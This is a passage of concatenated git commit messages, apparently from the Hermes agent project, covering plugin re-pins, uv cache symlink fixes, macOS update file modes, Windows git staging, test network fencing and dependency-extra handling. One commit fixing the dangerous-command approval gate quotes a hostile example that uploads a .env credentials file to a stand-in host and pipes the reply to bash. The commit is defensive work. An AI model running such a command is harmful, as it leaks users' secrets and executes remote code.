Re-pin the entry from b17ae50 (1.0.8) to the v1.0.10 release commit
95738a9913ac6595b73e655fad1d79414b1311dc, which also carries the 1.0.9
changes main never got:

- 1.0.10: web_search queries are clamped client-side to DeepSeek's documented
  128-character cap (word boundary inside the first 128, floor 96, one warning)
  so a too-long query is never sent as-is and cannot be swallowed by the
  keyless rescue, which changed provenance and dropped the vendor-only hit
  fields.
- 1.0.9: web.extract_timeout is parsed the way Hermes parses it (numeric
  strings, the 120 s default, 0/negative = no cap) and a sub-5 s Hermes cap
  wins over the plugin's extract_deadline floor.
- Docs/test-count updates and a live-acceptance check that follows the clamp.

Entry changes: version "1.0.8" -> "1.0.10"; sha and the image URL re-pinned to
the same full 40-character SHA; requires_hermes ">=0.22.0" and known_issues
unchanged (still matches plugin.yaml).

Verification at the pinned commit: stdlib tier Ran 119 tests OK (skipped=1),
full tier with Hypothesis Ran 129 tests OK, falsification recorded in the
plugin commit message, integration harness 22/22 against a real Hermes install.

Supersedes #146627 (the 1.0.9 re-pin, still unmerged).
NeuralMind's Hermes plugin, from subdir neuralmind/hermes_plugin of
dfrostar/neuralmind, pinned to e66f5010 on main: the v4.23.3 plugin code
plus its README's disclosures (dfrostar/neuralmind#757).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Re-pins sha, version, docs_url and image to v0.22.45 (7834883). The release adds
a readable category label in the dashboard and the Windows subprocess decoding
fix contributed in nexus-memory #16.
- Replace broken `gh repo sync --source NousResearch/hermes-agent` with
  `-b main`. `--source` expects a branch/remote name, not a repo; `-b main`
  tells gh repo sync to sync the fork's main from its parent upstream.
- Drop unnecessary actions/checkout@v4 + git config steps — gh repo sync
  operates server-side and does not need a local checkout.
- Change cadence from daily (0 12 * * *) to weekly (0 12 * * 1, Mon 12:00
  UTC). Upstream releases ~2-3×/week; weekly catches every release within a
  week without daily no-op runs.
- Add timeout-minutes: 30 so a stuck/failed sync is not silently ignored.
- Add set -euo pipefail + echo so sync failures surface in the Actions log.
The sync-fork.yml workflow (PR #2) cannot push to main under this
repo's rules — PR-only for main, plus workflows permission required
for pushes that bring in upstream workflow files the fork lacks.
Every weekly run fails at the push step regardless of the fork's
sync state.

Closing the fork/main gap with upstream was done via PR #3 (merge
commit). Going forward, `hermes update` pulls from upstream directly
for local upgrades; the fork's main does not need to mirror upstream.

Remove the workflow to stop paying CI for failed weekly runs.
All three surfaces are now complete against hermes-agent@main at the revision this release was cut from: core 3,515/3,515, TUI 1,390/1,390 and Desktop 5,517/5,521. The pack's Desktop generator fork is retired, so the catalog is maintained directly and the placeholder check now runs in the pack's own CI.
Toll: read-only safety checks over Toll's hosted MCP server (https://t0ll.xyz/mcp). Portable Agent Plugins v1 package pinned at t0ll-xyz/toll-plugins@e132929520, subdir integrations/hermes.
test_a_closed_day_reports_active_time_surfaces_and_primary_model_once failed
once in CI with `assert [] == [...]` after the clock moved to the next day.

Cause: each finished turn starts the background hermes-shared-metrics-flush
worker, which opens its own write transactions on the profile store. A
user-path write that meets one past the 250 ms busy timeout is deferred in
memory until that store's next write (by design). The engagement file's
_flush() only called the fake Relay's no-op subscribers.flush(), so an
assertion could read the store while the day-closing writes were still
deferred, and the closed day looked unreported. The clock and time zone are
not involved: the file passes at every real date tried (2026-10-26 through
2026-11-01T04:10Z, TZ=America/Los_Angeles).

_flush() now joins the export worker (the runtime suite's
_join_export_workers) and drains deferred writes on every runtime store plus
any store the test passes in (the second-process store in the closed-day test).
No product change.
Pins MDsniper/hermes-breeze-tts at 19fda86: a standalone plugin that
registers the 'breeze' TTSProvider against the Breeze Blue Developer API.
Catalog metadata only — no core code touched.
On a relay Slack DM, a top-level turn's typing metadata names no thread, so
the relay adapter anchored the status ("<bot> is working") on the chat's
latest inbound message, read from a per-chat cache at every frame. A second
top-level message or a /stop sent while the turn runs overwrote that cache:
the running turn's heartbeats and its final clear moved to the newer
message, and a turn that ended without posting a reply (an interrupted one)
left its own message showing "is working".

Resolve the anchor once, when the turn starts, from the turn's own message
id, and reuse it for every refresh and clear of that turn:

- gateway/platforms/helpers.py: typing_metadata_for_turn(adapter, chat_id,
  anchor, metadata) calls an adapter's status_metadata_for_turn hook (class
  lookup, so test doubles never stand in for it); metadata is unchanged for
  adapters without the hook.
- RelayAdapter.status_metadata_for_turn: _with_status_thread_anchor takes an
  explicit anchor; the per-chat cache stays as the fallback for event-less
  callers.
- Callers that have the turn: BasePlatformAdapter._process_message_background
  (typing refresh + its three stops; the reply metadata is unchanged), the
  producer-turn bracket (session_producer_lifecycle), the runner's
  end-of-turn clear (_hmwa_stop_typing_for_turn), and the progress-bubble
  status restore (_progress_restore_typing).

Threads named in metadata (channel threads, dm_top_level_threads_as_sessions
true, thread replies) are unchanged: the hook only fills a missing thread.
The rebase onto main left the facade 2 lines over its FILE_LINES ratchet
(2241 > 2239); compact the end-of-turn clear call and its docstring. No
behaviour change.
Two runner paths still set the typing status without the turn's anchor:
_run_agent_queued_followup (restart for the drained message) and
_run_agent_via_proxy (the one-shot proxy heartbeat). With metadata that
names no thread (Slack reply_in_thread false, a top-level DM), the relay
adapter fell back to the chat's newest inbound message, while the turn's
clear (_hmwa_stop_typing_for_turn) targets the turn's own message. A
cancelled proxy turn or a follow-up that a newer message overtook left
the newer message showing "is working".

Route both through typing_metadata_for_turn (next_message_id and
event_message_id), as the other sites already do. gateway/run_turn.py
stays at its line count.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Final reviewed entry from #145716 (author's YAML at the reviewed pin a2a09907), with our requires_hermes >=0.22.6 chore.

Co-authored-by: Teknium <127238744+teknium1@users.noreply.github.com>
ShipIt strips the quarantine attribute off every file in the .app and
aborts the whole update with EACCES on any read-only one, so a payload
whose baked pyc files were sealed 0444 (f6713f2762) could never pass
a macOS update: three attempts, "Couldn't remove quarantine attribute",
then "Too many attempts to install, aborting update" and the old app
relaunches on the old version. Bake them 0644 instead: unchecked-hash
pycs are never rewritten and asserted coverage means no cache-miss
write can target them, so the read-only bit only ever blocked the
updater.

(cherry picked from commit fa34f089cb6e05bc86c03320eaf0d5e136b96f7d)
The bundled uv cache stores wheels as relative symlinks into archive-v0/.
shutil.copytree follows them by default, so seeding turned each wheel into a
real directory holding a second copy of the archive. uv publishes a cached
wheel with rename(), which cannot replace a non-empty directory, so builds
failed with "Is a directory (os error 21)".

Walk the payload cache with _seed_tree: recreate symlinks from os.readlink()
with their relative target, publish them with os.replace() so an existing file
or link is replaced atomically, and remove a directory left at a link path by
the old seed. Regular files keep _copy_seed_file's partial-copy protection.
Bump the marker suffix to +payload2 so volumes marked by the buggy seed re-run
the merge once and heal in place.

Fixes #141891

(cherry picked from commit e1fb6b59996d96e0cbb0f1f5ece57fa6c1c62d83)
prune_uv_cache_to_lock compared dist-info names with only `_` folded to
`-`, so `ruamel.yaml-0.18.16.dist-info` read as `ruamel.yaml` while
uv.lock lists `ruamel-yaml`. Every payload and CI cache prune deleted
the archive the shipped venv was installed from. The published v0.22.6
Store MSIXes keep wheel entries for ruamel-yaml and jaraco-classes with
no archive behind them, and the v0.22.0 macOS ZIP has no ruamel.yaml
archive. With uv 0.13.5 on Linux, an offline install of ruamel.yaml
from a cache staged and pruned this way fails: "the requested data
wasn't found in the cache".

Compare PEP 503 names on both sides.
stage_uv_cache copied the build cache with shutil.copytree's default
symlinks=False. uv stores each cached wheel as a relative link into
archive-v0/, so the copy stored every unpacked wheel a second time and
the seed then merged those directories into the machine cache. On the
published v0.22.0 macOS ZIP that is 30,859 files under
uv-cache/wheels-v6 (278 MB compressed, 901 MB installed), and uv fails
with "Is a directory (os error 21)" when it publishes one of those
wheels again (#141891). Windows is unaffected: uv writes pointer files
there.

Keep the links. The signing walkers already skip symlinks, so each
binary is still signed once at its archive-v0 path. Also correct the
shared-bundle-builds doc and the staging comment: built wheel ZIPs ship.
The +payload2 test wrote a `stale+payload` marker. Its digest never
matches the lock, so the seed reran whatever the suffix said, and only
the final endswith check guarded the bump. A seed that compared the lock
digest alone would trust a `+payload` volume and still pass.

Seed once, then mark the volume with the real lock digest and the old
`+payload` suffix and put back the directory the old copy left. Checked
by mutating pm/packages.py: reverting the suffix to `+payload` and
ignoring the suffix in the comparison both fail the test now; the old
test missed the second.
fix(desktop): move macOS traffic lights closer to the window edge
(cherry picked from commit 0de0f3288de45d81204e5d14c053e212131dc73b)
use-session-actions.test.tsx is over the 2,000-line ratchet and may only shrink, so the Quick Entry older/current gateway case lives in a focused sibling with a minimal harness.

Co-authored-by: itsflownium <157689911+itsflownium@users.noreply.github.com>
An omitted limit was clamped to discovery's three before the browse branch
ran, and both live dispatchers (inline executor and the registry handler)
filled in 3 as well, so a no-argument call returned three sessions.

Split the caps: browse defaults to 10, discovery stays at 3, the signature
takes None, and the schema no longer advertises a default. Rebased onto
current main.

(cherry picked from commit 4922cda7fd940cb6d133d4a15cde6bdc5cad8935)
Collapse the browse and discovery limit defaults into a single mode-aware
_clamp_int call in _dispatch and fold the three new tests into one that
covers the function, registry handler and inline executor entry points.
(cherry picked from commit 2bf8a671516cb2c76241279915dda1b5f0df0c80)
(cherry picked from commit cee4e9bb99f3e4833630eb28bb2e70ce5282da0b)
(cherry picked from commit ccd2fed1d3f013d0d31e9ef21b74e574da66a738)
(cherry picked from commit 752bb5462c1fbf224f6122af799e6e048ada89f7)
Replace the runtime round-trip and multi-profile tests with unit tests on
_setup_tts_provider: preset choice, unlisted current voice listed first and
kept, and the "Other voice" entry (custom ID saved, blank keeps current).
A stray .DS_Store beside a lone top-level directory made the layout look
like two entries, so flatten_single_dir returned early and the package
payload stayed nested. Duplicate metadata also aborted the move instead of
being replaced.

Only inert regular metadata files are excluded now; a directory, symlink
or executable that carries one of those names is payload and stays part of
both the layout decision and the tree digest. The move is checked in full
before anything is touched and keeps retry_held for the Windows scanner
window (#131884).

Rebased onto current main, where the old is_junk() filter has been removed.

(cherry picked from commit d0bb708e592a247d75308667a2205ac484ad2145)
Replacing duplicate desktop metadata now rides out a transient Windows
hold like the surrounding rename and rmdir. Run the portable metadata
test on every OS lane and pin that a metadata-named payload collision
refuses before any item moves.
Facts written by earlier releases hashed desktop metadata as payload. Verification now also accepts the include-everything digest, so an unchanged installed tree is not rejected after upgrading.
Pinned boards show as tabs beside the board switcher. "Pin board" /
"Unpin board" in the switcher menu acts on the current board; a tab click
switches boards, and drag or Alt+Left/Right reorders tabs without
switching. Pins persist in the plugin's storage per gateway connection,
like the selected board, and a drag started on one connection can't
reorder another connection's pins.

Closes #130094

Co-authored-by: itsflownium <157689911+itsflownium@users.noreply.github.com>
(cherry picked from commit 5c1e5141788a8add0cb4217ac043d06bdfe70aeb)
(cherry picked from commit 4ae06095106c529a0fd47e57c5b1f44ac986105f)
Fold the staged copy and swap into _replace_entry, drop the retrying
remove helper (a best-effort cleanup of the swapped-out tree is enough),
and drop tests outside the changed path.
The staged copy and the set-aside old tree were hidden siblings of the
skill dir. When removing the old tree failed after the swap (a Windows
lock), skill discovery found its SKILL.md and listed a stale copy next
to the new skill.

Both now live in a .hermes-dist/ dir beside the target (same parent, so
the rename stays atomic), which EXCLUDED_SKILL_DIRS lists, so every
scanner that honours that set skips it. The dir is removed when empty.

The copy-failure test now leaves a partial staged copy before raising
and checks nothing is left behind; a new test locks the old tree and
checks discovery returns only the new skill.
Keeps test_profile_distribution.py under the 1,000-line limit.
build_skill_nodes used a private skip list without .hermes-dist, so a locked backup left by a force install showed up as a second skill. Use EXCLUDED_SKILL_DIRS on paths relative to each root.
Staging now ships uv's wheel links as links, but the prune removes wheel
entries only under wheels-v*/pypi and sdists-v*/pypi. URL, git and
named-index wheels sit a hash directory deeper, so when the lock drops
one of them the prune deletes its archive-v0 bucket and leaves the link
pointing at nothing. publish_prepared's link check then rejects the
payload. Before links were kept, staging copied such an entry as a
self-contained directory, so the same prune left nothing dangling.

uv.lock has three such sources today (kittentts by URL, misaki and
psutil from git). With the pinned uv 0.13.5, a wheel installed from a
direct URL and then dropped from the lock reproduces it: stage, prune,
then the link check fails on wheels-v7/url/<hash>/gone-dep/<version>.

Finish the prune by removing links with no target in the wheel and
sdist families. The sweep does not depend on the layout. It also
repairs CI's rolling cache, which the setup-pm post-job runs through the
same prune.

Reported in review by @unsupportedpastels, whose regression test this
extends with a link the lock still resolves.
The seed walked the payload root in directory-listing order, so a
wheels-v* link could be published before the archive-v0 bucket it
points to. Other profiles share the machine cache: their uv could meet a
link with no target during a first seed, and a seed that died in
between left the link dangling until the retry. The old directory copy
had no such window because each entry was self-contained. The
_seed_tree docstring claimed it kept publication order, which it did
not.

Seed archive-v0 first and drop the claim. The test forces a listing with
wheels first and fails the archive copy; the current seed publishes the
link, the fixed one publishes nothing.

Reported in review by @unsupportedpastels.
The shared-bundle-builds note and the stage_uv_cache docstring read as if
uv's wheel entries were symlinks on every target. On Windows uv writes
pointer files. The docstring's layout also covered only the pypi family;
URL, git and named-index entries carry an extra hash directory.

Reported in review by @unsupportedpastels.
The comments said writes to the baked pycs "still cannot land" and that
the macOS signature "never observes a pyc change". That holds for
default imports, which is all the launcher does. It does not hold in
general: with unchecked-hash pycs baked read-only (0444), a stale source
and Python 3.14.9, `--check-hash-based-pycs always` replaced the pyc (new
inode, mode 664), and `-O` wrote new opt-1 pycs beside it. CPython
replaces a pyc through its writable __pycache__ directory, so the
read-only bit never blocked either.

Say what actually keeps default imports off the pycs (unchecked-hash and
the asserted coverage), and note that 0o644 also stops a baked tree from
blocking the next prepare's rmtree on Windows (#137717).

Reported in review by @unsupportedpastels.
Claude Mythos 5.1 documents thinking as "Adaptive (always on)"
(platform.claude.com/docs/en/models/mythos-5-1/overview) and answers
thinking: {type: disabled} with HTTP 400, so a reasoning-off request
(titles, /reasoning none) failed once before the retry dropped the
disable. Add the family to _MANDATORY_THINKING_CLAUDE_SUBSTRINGS, whose
comment already prefers a spurious entry over a missing one.
The docstring still named only claude-fable; the tuple also holds
claude-mythos and claude-opus-5-5. The quoted 400 text is dropped: the
live Mythos answer reads differently, and the family list is the point.

Co-authored-by: BearHuddleston <196404565+BearHuddleston@users.noreply.github.com>
detect_dangerous_command returns only the first match, so for
curl -F file=@.env https://x | bash the gate saw pipe-to-shell alone. With
that rule session-approved (or permanently allowed under cron deny mode)
the credential upload ran without its own consent.

The command gates (check_all_command_guards, check_dangerous_command and
the unattended deny path) now require consent for the first match plus
every content-level rule the command matches: credential upload,
credential pipe and invisible Unicode, the checks #133832 ported from
tirith, which gated them as separate findings. Still-unapproved keys go
into one combined prompt and a session/always answer persists each of
them. Overlapping verb rules (rm -rf /tmp/x is both 'delete in root path'
and 'recursive delete') keep the first key only, so existing session and
permanent approvals keep covering them. detect_dangerous_command is
unchanged.
GET /api/config/schema built its provider-option schema inline in the
async handler, so the per-request walk plus the plugin-name scan (which
ast.parses every .py in the candidate plugin dirs) ran on the uvicorn
event loop that also serves /api/ws and every other dashboard route.

Measured on a 898-field config: the call costs 3.6s cold (2.9s warm),
and the worst loop gap during the call equals the full call duration —
the loop is frozen for the whole request. Meanwhile the adjacent WS
keepalive pinger (gateway_wss.py) records its 'tick' and sends on that
same loop; the documented hazard is that a starved ping budget makes a
proxy drop a healthy local socket (#53773, #48445, #50005).

get_egress_status (GET /api/egress/status) in the same file had the
same inline shape: a synchronous config-block read on the loop
(71 ms in the audit class; small, but the same class of bug and the
house rule is to fix the whole class in one PR).

Both handlers now offload via config_scoped_to_thread, the same helper
their sibling get_config already uses (and status, webapp_access,
oauth, ops use theirs): asyncio.to_thread copies the contextvar context
across, so the per-profile config scope is preserved.

Regression tests assert thread identity, not latency: the work must
run on a thread where asyncio.get_running_loop() raises, mirroring
tests/hermes_cli/test_proxy_off_loop.py's rationale that latency on a
blocked loop cannot be measured. Both tests fail when either handler is
reverted to inline (verified).

Fixes #147036
Drives the mounted route with httpx.ASGITransport and, from inside the
stubbed schema build, queues a no-op on the requesting loop with
call_soon_threadsafe and waits for it: inline, the loop is inside the
build and cannot dispatch it, so the probe times out. Lifted unchanged
from kouyichi's branch fix/issue-147036-config-schema-offloop
(39b93b529de).

Refs #147036
get_config offloads through scoped_to_thread (the broader _profile_scope),
not config_scoped_to_thread; the new docstrings said otherwise.
The invisible-Unicode rule from #133832 left every variation selector
alone, so printf 'a\uFE0F' and echo 'x\U000E0100' reached no selector check
(the retired tirith scanner warned on them). A selector (U+FE00-FE0F,
U+E0100-E01EF) is now flagged unless it directly follows an emoji-capable
code point, using the base table from #114843 so emoji folder names stay
quiet. The check runs on the raw command because detection variants are
NFKC-folded, which turns the info emoji into a plain 'i' + VS16. ZWJ
handling and the rule's approval key are unchanged.
Keycap emoji (1️⃣, #️⃣, *️⃣) are a digit, # or * followed by VS16 and
U+20E3, so the selector check flagged them as hidden characters. Only that
exact sequence is now exempt: a selector after a digit with no keycap mark,
VS16 + U+20E3 after a letter, and VS15 + U+20E3 are still flagged.
After rebasing onto #141377, detect_content_rule_keys scans only the
content rules and returned before the new variation-selector check, so
once another rule (e.g. "delete in root path") was approved, a hidden
selector got no consent of its own. The content-only scan now runs that
check too.
fix(bundles): bake pycs owner-writable so Squirrel.Mac updates install
Three tests passed only because a live service answered the way it did
that day:

- test_vision_routing: whether deepseek-v4-pro is text-only came from
  models.dev; offline every model read "capability unknown" and the
  text-only skip never fired. Seed the in-memory models.dev catalog
  (and seed the vision-capable case too, so it proves the known path,
  not the permissive unknown one).
- test_model_validation: the openrouter verdict followed the live
  OpenRouter picker catalog, which lacks the model; the in-tree
  fallback lists it, so offline the model was accepted. Pin
  provider_model_ids like the rest of the file does.
- test_api_content_row_addressed_backfill: a real session row starts
  auto-titling, which sent a title request to openrouter.ai with the
  stand-in agent's fake key on every test. Stub maybe_auto_title.
- test_plugin_update_scan_override: the subdirectory-update test was the
  only one in the file without admission_env, so the applied update
  downloaded a whole Python toolchain (python-build-standalone) on every
  run. Use the fixture its siblings use: the dependency transaction runs
  on the local uv and interpreter.
- test_termux_build_wheels: the source-pin test fetched pip==26.2.1 and
  setuptools from PyPI. The fixture repo now carries a tiny in-tree PEP
  517 backend that packages the checked-out module, the build uses the
  interpreter's bundled pip, and PIP_NO_INDEX=1 proves no index is
  consulted. The pinned commit still decides the wheel's content.
The SSRF guard refuses a hostname it cannot resolve, so these tests
followed the host's resolver: example.com, files.slack.com, tokio.rs and
docs.rs were looked up live, and on a resolver that filters
example.com five of them failed.

public_dns (tests/conftest.py) serves only the guard's own seam,
tools.url_safety._getaddrinfo: every hostname resolves to a public
address, literals to themselves. A client that really connects still
goes through socket.getaddrinfo, so nothing leaves the machine.

The browser hybrid-routing class already had a rebinding resolver; it now
installs a public default and lets address literals resolve to
themselves (a LAN literal used to come back public).
The Nous-only fence generalizes: tests/conftest.py refuses getaddrinfo
for any host off this machine (loopback, the machine's own name and
address literals pass), the offline path production already handles.
Without it 436 test files looked up 72 real hosts: building an agent
fetched OpenRouter / models.dev / model-catalog metadata, Ollama probes
went to fake hosts, auth probes hit api.z.ai, and verdicts followed
whatever came back.

The fence is installed once at conftest import instead of per test: a
background thread a test started (inventory refresh, memory sync, a
metadata probe) outlived the test and did its lookups between one test's
teardown and the next one's setup.

live canaries still reach the network, and so do allow_network tests:
the PM tests that download real toolchains and wheels on purpose
(pip_check, runtime_wheelhouse, worker, icon_flavors and one upgrade
entrypoint leg). A pytest_runtest_protocol wrapper opens the fence, so
module-scoped fixtures those tests set up are covered too.
Squirrel.Mac's ShipIt runs removexattr on every enumerated item of a
downloaded update before swapping it in, and aborts the whole install on
any errno except ENOATTR. A read-only file or directory the caller owns
returns EACCES, so one such entry wedges every macOS update (#138659).

record --platform macos already opens the update ZIP in every release
path that publishes a macOS feed (stable candidate, bundled canary,
channel build). It now refuses the ZIP when any entry with a Unix mode,
other than a symlink, lacks owner write, naming the count and the first
three paths. Entries without a Unix mode are skipped.

The check is the one @unsupportedpastels suggested in review of #148192;
@vadimcomanescu proposed a build check like it in #138659.

Refs #138659
fix(bundles): refuse a macOS update ZIP with entries lacking owner write
fix(bundles): keep uv's wheel links from the payload cache to the machine cache
The dependency-groups variant was the one main turned into a workspace
member with a synthesized [project] and no dependencies, dropping the
manifest pip_dependencies.
monkeypatch.setattr on a registry singleton (get_package("venv")) records the
bound method as the old value and restores it into the instance __dict__, where
it shadows every later class-level patch in the same process. A single-process
tests/pm run then skipped Venv.apply's counting patch in
test_update_sync_retries_a_fetch_failure_once_before_disabling (trials == [])
whenever test_features.py or test_generation_durability.py ran first.
python-build-standalone records CC='clang -pthread', CXX='clang++ -pthread',
clang-led LDSHARED/LDCXXSHARED and AR=/tools/llvm/bin/llvm-ar in sysconfig.
setuptools compiles with those unless the environment overrides them, so on
Debian/Ubuntu/WSL hosts with only gcc/g++ every C/C++ sdist under PM's pinned
interpreter failed with "No such file or directory: 'clang++'" (python-olm
via the matrix extra), and any build_clib static library failed on the
missing llvm-ar even where clang exists.

For the pinned interpreter on Linux, pm/build_compilers.py reads the recorded
toolchain once per interpreter and setdefaults CC/CXX (and the linker each
one leads) to the gcc-family equivalent when the recorded compiler is absent
and gcc/g++ is on PATH, keeping flags such as -pthread, and defaults AR to
the host's ar. User-set CC/CXX/LDSHARED/LDCXXSHARED/AR win; other
interpreters keep their sysconfig. The macOS AR default moves into the same
module unchanged. When no compiler exists at all, a BuildFailure now names
the missing compiler and how to install one instead of "retry".

The fail-loudly-on-missing-compiler idea comes from #130255.

Co-authored-by: jose_ugalde <vivojf@gmail.com>
pm/build_compilers.py::_linux_defaults asks which compiler the source
build will actually find, so it searches the build environment's own PATH
(the one uv hands the build backend), not the host for an app. That is the
same reviewed case as pm/native_build.py::prepare_windows_environment; a
hermes_platform resolver answers host discovery and would search the wrong
PATH here.
The `command '...' failed` pattern also matched a compiler that ran and
failed on a source error ("command 'gcc' failed with exit code 1"), so the
hint told users to install a compiler they already have. Match distutils'
missing-executable form ("failed: No such file or directory") only.
Moves the catalog pin to hermes-official-plugins@1b9102c (#263), so
catalog installs list the account's own models, Mythos 5.1 included.
cmd\git.exe left behind without the https helper is not a finished install. The next Get-PinnedGit has to put the helper back.
A sharing violation during extract can leave cmd\git.exe in the store without git-remote-https. The next run treated that file as installed, and every https clone then died with "remote helper 'https' aborted".
Windows PowerShell's Move-Item falls back to a file-by-file copy when a
directory rename is refused. When a file is held without delete sharing
(Defender scanning freshly extracted files, a lingering post-install
child), the copy stops at that file. cmd\git.exe has already landed in the
store by then and git-remote-https has not: this is the broken tree from the
Discord report. A windows-latest probe reproduces it on both same-volume
and cross-volume moves.

Stage the extract beside the entry under the store root (.staging-*, the
prefix pm gc already reclaims), so the last step is a single
[IO.Directory]::Move on one volume that moves all or nothing. Retry
moves and deletes refused by a temporary hold (1+2+4+8+16 s, like pm's
Store.publish). A hold that never clears now fails with a message
naming the folder.
Only the extract dir moves into the store root; the self-extractor still downloads to %TEMP%. Rejected bytes create no tools dir again (test_bootstrap_mirror::test_windows_bootstrap_rejects_corrupt_bytes_before_extract).
pwsh-driven installer tests on Linux plant the system git, whose exec-path holds git-remote-https without .exe; the check called that git incomplete and tried to reinstall it.
cmake 4.x dropped support for cmake_minimum_required(VERSION < 3.5).
python-olm 3.2.16 bundles libolm with a CMakeLists.txt that declares
VERSION 3.4, so installing it from an sdist fails at the cmake *configure*
step, before any compiler is reached:

  CMake Error at CMakeLists.txt:1 (cmake_minimum_required):
    Compatibility with CMake < 3.5 has been removed from CMake.

CMAKE_POLICY_VERSION_MINIMUM=3.5 tells cmake 4.x to treat the project as
though it declared 3.5, which unblocks the configure step. One env key, no
source patching, no platform gating.

Relocated from tools/lazy_deps.py: the lazy-install path moved to PM. That
module is now a 16-line old-updater stub (scripts/ci/check_lazy_deps_imports.py
fails CI on any production import of it), and the extra install runs
`hermes pm install --extra X` -> pm.packages.Venv.apply -> uv sync. The
variable therefore goes where uv is actually spawned: PythonEnvironment._run
in pm/environment.py assembles the env for every uv invocation, so the floor
reaches both installer tiers — `uv sync` and the `uv pip install --requirements`
tier behind _install_requirements_file. There is no `python -m pip` fallback
in the install path any more; that concern applied to the deleted ladder in
the old _venv_pip_install.

Sanitization is unchanged: the variable is setdefaulted onto the env
_base_environment() already produced, so ambient UV_*/PYTHON* stripping and
the pip index bridge still hold, and a caller-supplied value wins.

Still live on current main: uv.lock supports python_full_version >= '3.14'
while python-olm 3.2.16 ships cp311/cp312 manylinux wheels only, so the
linux-gated matrix extra has no matching wheel and uv builds the sdist there
exactly as it did on macOS before the gate.

Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>
The fix in pm/environment.py adds CMAKE_POLICY_VERSION_MINIMUM where uv is
spawned, so the contract worth pinning is the env the build backend actually
receives — on the `uv sync` tier and on the `uv pip install` requirements
tier, which are separate spawns and were the gap the old single-env-dict
version of this fix left open.

test_both_install_tiers_receive_the_cmake_policy_floor is red on the
unfixed base (KeyError: CMAKE_POLICY_VERSION_MINIMUM).
test_ambient_cmake_policy_version_is_not_overwritten pins setdefault, so the
floor cannot later become an assignment that clobbers a user's own value.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
After #148196 landed, managed_environment asks the pinned interpreter for
its recorded toolchain before any uv spawn. The test's subprocess.run stub
recorded every call's `env`, so that probe (which passes none) broke it.
The stub now answers the probe with an empty toolchain and records only
uv spawns.
Concurrent sync undoes opt-in (Greptile r4448976297): sync_venv cleared the
decline after releasing the dependency lock, so a bare sync queued behind
`hermes pm install --extra matrix` could read the stale decline, build
without matrix and publish after the opt-in. The clear now runs while the
sync still holds the lock, and `--without` writes its decline under the
same lock so an in-flight opt-in cannot erase it.
Recovery drops unrelated extras (Greptile r4448976307): when the first PM
migration failed before facts.json existed, `hermes pm install --without
matrix` synced only [all], so fal from the old venv was dropped and the new
facts ended every later re-scan. With no recorded selection, the install's
sync now carries the filtered legacy scan (declines applied) like the
launch migration does; fresh installs with no main-era venv are unchanged.
`pm lock`'s new-opt-in-extras advice walked the [all] closure with its own
parser, beside `droppable_extras`, which `--without` validates against.
Two walks of the same set can drift, so the relock advice now subtracts
the previous extras from `droppable_extras` instead.
Review finding: configured-platform repair reads the declined extras, then asks PM
for the configured extra with explicit=True. A `--without` completing in between was
erased: the stale request rebuilt the extra and its opt-back-in clear emptied the
decline record.

sync_venv now takes `automatic`: the entries of `extras` Hermes chose on the user's
behalf. Under the dependency lock a declined automatic extra is left out, and only
the remaining (user-requested) extras clear a decline. Every caller is classified:
configured-platform repair, the update's and launch migration's legacy carry, the
container baseline restore and the carried part of pm install's first selection are
automatic; setup flows and `--extra NAME` stay requests.
A migration from a pre-PM venv carries the extras that venv held (matrix,
fal, ...) into PM's first generation. Those reached sync_venv as if the user
had requested them, so one that no longer builds (python-olm's vendored
libolm without a working cmake/C++ compiler) failed the whole sync. No
facts.json was written, the old venv is never deleted, and every later
`hermes update` re-scanned it, re-carried the same extra and failed the
same way: one optional extra bricked updates for good.

sync_venv now takes `carried`, the entries of `extras` that were carried
rather than asked for. When the sync fails with a build or resolver verdict,
pm.carried_extras proves core plus the requested extras build without them,
re-adds each carried extra on top of what fits, and syncs without the ones
that do not. A build verdict is recorded in declined-extras.json (with the
reason, so a later lazy-install refusal names the cause instead of a
`--without` nobody ran) and the operator is told which extra was left out and
to run `hermes pm install --extra NAME` to add it back. A download failure is
left out of this update but not recorded. Requested extras and core still
fail loudly. Both legacy callers (the source-launch sync and the historical
takeover) pass the carried list.

The streamed uv tail also keeps the build-backend marker now: a native
build's traceback runs past the 2000-character tail, so the failure read as a
fetch error instead of a BuildFailure verdict (this also hid plugin build
verdicts from plugin eviction).

Also fixes committed_venv's docstring: PM never deletes the in-tree venv.
The fake venv build returned no environment, so whether the next sync found
the stamp current depended on the checkout running the test having its own
.venv (selected_venv falls back to it). CI's checkout has none, so the next
sync rebuilt. The fake now commits a generation under an isolated repo root,
as the real build does.
Review finding: a carried extra whose per-extra trials failed on a download or tooling
error was left out of the published selection with no decline and no retry record.
Those facts end the old venv's re-scan, so no later update ever carried it again and
the extra was silently lost.

A transient trial result is not a verdict: the sync now fails before publishing,
naming the extra, so the next update scans the old venv again and retries it. Only
build verdicts are left out and recorded, as before.
A carried extra whose source is gone for good (a URL that now 404s)
counts as a transient failure, so every update fails until it returns.
The refusal now also names `hermes pm install --without NAME`, the
supported way to leave it out (round-2 review P3).
uv locks every extra of every workspace member, but PM's generation sync
installs only the extras `--extra` names. A plugin test extra such as
`dev = ["httpx<0.28"]` therefore failed the lock against core's
httpx==0.28.1 and `hermes update` disabled the plugin. The generated member
snapshot now keeps only the extras this generation selects plus those the
plugin's own requirements name (`plugin[runtime]`), and drops conflicts that
point at removed extras. Explicit `--extra` of a plugin-declared extra still
locks and installs it.
Review finding (Greptile thread 4449049346, Adolanium): _selected_member_extras kept every
extra named by a plugin's own name[extra] reference without evaluating its marker, so a Linux
generation selecting runtime = ["plugin[windows]; sys_platform == 'win32'"] locked the
windows extra's pins and evicted the plugin over a Windows-only conflict.

Markers are now evaluated against the installing interpreter's PEP 508 environment (the same
probe that narrows tool.uv.environments), with extra set to the declaring extra; an
unevaluable marker keeps the extra. A named-only extra stays declared but empty, because
build backends (hatchling) validate self-referenced extras against the table.
Independent review finding 4 on #148199: `_selected_member_extras` evaluated
the plugin's own base-dependency self-references only with `extra == ""`, so
`plugin[feature]; extra == 'runtime'` dropped `feature`'s pins from the
snapshot when `runtime` was selected and the sync silently omitted them
(main installs them). Self-references from the base dependencies and every
kept extra are now evaluated under each installed extra and re-evaluated
until the selection stops growing.
Independent review finding 3 on #148199: `_runtime_member_metadata` removed
